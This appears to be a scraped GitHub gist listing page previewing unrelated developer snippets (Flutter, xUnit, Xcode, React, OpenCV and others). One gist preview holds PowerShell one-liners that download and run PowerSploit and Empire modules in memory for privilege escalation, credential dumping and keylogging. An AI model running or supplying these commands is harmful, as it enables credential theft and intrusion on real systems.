Skip to content

Instantly share code, notes, and snippets.

@ullaskunder3
ullaskunder3 / README.md
Last active April 18, 2024 17:08
Detail flutter installation without android studio just using cmdline-tools, git, cmd
@inogo
inogo / yandex_search_regions.csv
Created February 7, 2020 09:38
Список кодов регионов поиска Яндекса (параметр &lr=) ранее был доступен по ссылке https://yandex.ru/yaca/geo.c2n
We can't make this file beautiful and searchable because it's too large.
1,"Москва и Московская область"
2,"Санкт-Петербург"
3,"Центральный федеральный округ"
4,"Белгород"
5,"Иваново"
6,"Калуга"
7,"Кострома"
8,"Курск"
9,"Липецк"
@jonesandy
jonesandy / XUnitAsserts.cs
Last active April 18, 2024 17:07
A cheat sheet of Asserts for xUnit.net in C#
/*
STRINGS
*/
Assert.Equal(expectedString, actualString);
Assert.StartsWith(expectedString, stringToCheck);
Assert.EndsWith(expectedString, stringToCheck);
// Some can also take optional params
Assert.Equal(expectedString, actualString, ignoreCase: true);
Assert.StartsWith(expectedString, stringToCheck, StringComparison.OrdinalIgnoreCase);
@brennanMKE
brennanMKE / IDETemplateMacros.plist
Last active April 18, 2024 17:06
Xcode File Header Templates
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>FILEHEADER</key>
<string>
// Copyright © ___YEAR___ ___ORGANIZATIONNAME___.
// All Rights Reserved.
</string>
<key>ORGANIZATIONNAME</key>
@madelinegannon
madelinegannon / setup-azure-kinect-on-jetson-x-nx.md
Last active April 18, 2024 17:03
Notes on Setting up the Microsoft Azure Kinect on Ubuntu 18.04
@chr0n1k
chr0n1k / In-memory PS injection.txt
Created July 16, 2020 13:49
Some in-memory Powershell injection scripts
#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/Get-System.ps1');
#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Invoke-Inveigh.ps1')
#"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1')
#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-VaultCredential.ps1'); Get-VaultCredential
#IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1')
@ChristopherA
ChristopherA / brew-bundle-brewfile-tips.md
Last active April 18, 2024 16:58
Brew Bundle Brewfile Tips

Brew Bundle Brewfile Tips

Copyright & License

Unless otherwise noted (either in this file or in a file's copyright section) the contents of this gist are Copyright ©️2020 by Christopher Allen, and are shared under spdx:Creative Commons Attribution Share Alike 4.0 International (CC-BY-SA-4.) open-source license.

Sponsor

If you more tips and advice like these, you can become a monthly patron on my GitHub Sponsor Page for as little as $5 a month; and your contributions will be multipled, as GitHub is matching the first $5,000! This gist is all about Homebrew, so if you like it you can support it by donating to them or becoming one of their Github Sponsors.

@boylea
boylea / livespec.py
Last active April 18, 2024 16:58
pyqtgraph live running spectrogram from microphone
"""
Tested on Linux with python 3.7
Must have portaudio installed (e.g. dnf install portaudio-devel)
pip install pyqtgraph pyaudio PyQt5
"""
import numpy as np
import pyqtgraph as pg
import pyaudio
from PyQt5 import QtCore, QtGui
@sineto
sineto / App.js
Last active April 18, 2024 16:57
User Authentication with Context API and Hooks (useContext, useState)
import React from 'react';
import { BrowserRouter } from 'react-router-dom';
import { UserProvider } from './services/UserContext';
import Routes from './Routes'
function App() {
return (
<BrowserRouter>
@okdimok
okdimok / capture.py
Last active April 18, 2024 16:56
Stream a capture from opencv using VLC
#!/usr/bin/env python
import cv2, sys
cap = cv2.VideoCapture("/dev/video0") # 0 is for /dev/video0
fps = cap.get(cv2.CAP_PROP_FPS)
frame_size = (int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)), int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)))
sys.stderr.write("{}x{} @{}FPS\n".format(frame_size[0], frame_size[1], fps))
while True :
ret, frame = cap.read()
if not ret: break
try: